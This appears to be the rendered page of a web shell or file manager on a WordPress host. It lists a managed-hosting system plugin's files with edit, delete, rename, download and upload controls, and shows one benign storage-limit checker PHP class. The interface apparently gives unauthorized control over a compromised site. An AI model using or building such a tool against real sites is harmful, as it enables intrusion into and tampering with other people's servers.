⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀
⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀
⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀
⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦   www.github.com/caterscam 
⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈
⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀
⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀
⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

Current Dir: /dom834884/wp-content/mu-plugins/gd-system-plugin/includes/

[DIR] admin [ delete | rename ]
[DIR] cache [ delete | rename ]
[DIR] cli [ delete | rename ]
[FILE] autoload.php [ edit | delete | rename | download ]
[FILE] class-activity-logger.php [ edit | delete | rename | download ]
[FILE] class-api.php [ edit | delete | rename | download ]
[FILE] class-auto-updates.php [ edit | delete | rename | download ]
[FILE] class-bundled-plugins.php [ edit | delete | rename | download ]
[FILE] class-cache-v2.php [ edit | delete | rename | download ]
[FILE] class-cache.php [ edit | delete | rename | download ]
[FILE] class-cdn.php [ edit | delete | rename | download ]
[FILE] class-change-domain.php [ edit | delete | rename | download ]
[FILE] class-cli.php [ edit | delete | rename | download ]
[FILE] class-configs.php [ edit | delete | rename | download ]
[FILE] class-debug-mode.php [ edit | delete | rename | download ]
[FILE] class-diagnostics.php [ edit | delete | rename | download ]
[FILE] class-disallowed-plugins.php [ edit | delete | rename | download ]
[FILE] class-feature-flag.php [ edit | delete | rename | download ]
[FILE] class-gmv.php [ edit | delete | rename | download ]
[FILE] class-gravity-forms.php [ edit | delete | rename | download ]
[FILE] class-hotfixes.php [ edit | delete | rename | download ]
[FILE] class-plugin-update-skin.php [ edit | delete | rename | download ]
[FILE] class-rad.php [ edit | delete | rename | download ]
[FILE] class-rest-api.php [ edit | delete | rename | download ]
[FILE] class-rewrite-static-assets.php [ edit | delete | rename | download ]
[FILE] class-rum.php [ edit | delete | rename | download ]
[FILE] class-search-replacer.php [ edit | delete | rename | download ]
[FILE] class-site-optimizer.php [ edit | delete | rename | download ]
[FILE] class-smart-update.php [ edit | delete | rename | download ]
[FILE] class-sso.php [ edit | delete | rename | download ]
[FILE] class-storage-limit-checker.php [ edit | delete | rename | download ]
[FILE] class-storage-limit-enforcer.php [ edit | delete | rename | download ]
[FILE] class-sucuri-scanner.php [ edit | delete | rename | download ]
[FILE] class-temp-domain.php [ edit | delete | rename | download ]
[FILE] class-trustedsite.php [ edit | delete | rename | download ]
[FILE] class-worker.php [ edit | delete | rename | download ]
[FILE] class-wp-mirror.php [ edit | delete | rename | download ]
[FILE] class-xmlrpc.php [ edit | delete | rename | download ]
[FILE] class-yoast-seo.php [ edit | delete | rename | download ]
[FILE] deprecated.php [ edit | delete | rename | download ]
[FILE] trait-helpers.php [ edit | delete | rename | download ]
[FILE] trait-singleton.php [ edit | delete | rename | download ]

Viewing: /dom834884/wp-content/mu-plugins/gd-system-plugin/includes/class-storage-limit-checker.php

<?php

namespace WPaaS;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

final class Storage_Limit_Checker {
	use Helpers;

	const STORAGE_BUCKET_LT90 = 'LT90';
	const STORAGE_BUCKET_BTW90_100 = 'BTW90_100';
	const STORAGE_BUCKET_GT100 = 'GT100';

	public function __construct() {
	}

	public function is_storage_limit_exceeded(): bool {
		
		if ( ! defined( 'GD_STORAGE_USED_BUCKET' ) ) {
			return false;
		}

		return GD_STORAGE_USED_BUCKET === self::STORAGE_BUCKET_GT100;
	}

	public function is_storage_limit_warnable(): bool {

		if ( ! defined( 'GD_STORAGE_USED_BUCKET' ) ) {
			return false;
		}

		return GD_STORAGE_USED_BUCKET === self::STORAGE_BUCKET_BTW90_100;
	}

	/**
	 * Get the percentage of storage used.
	 *
	 * @return string
	 */
	public function get_storage_bucket(): string {
		if ( ! defined( 'GD_STORAGE_USED_BUCKET' ) ) {
			return self::STORAGE_BUCKET_LT90;
		}

		return GD_STORAGE_USED_BUCKET;
	}

	public static function get_storage_bucket_message( $bucket ) {
		$bucket_messages = [
			self::STORAGE_BUCKET_LT90      => __( 'less than 90% used', 'gd-system-plugin' ),
			self::STORAGE_BUCKET_BTW90_100 => __( 'more than 90% used', 'gd-system-plugin' ),
			self::STORAGE_BUCKET_GT100     => __( 'full', 'gd-system-plugin' ),
		];;

		return $bucket_messages[ $bucket ] ?? $bucket;
	}

}

Upload File: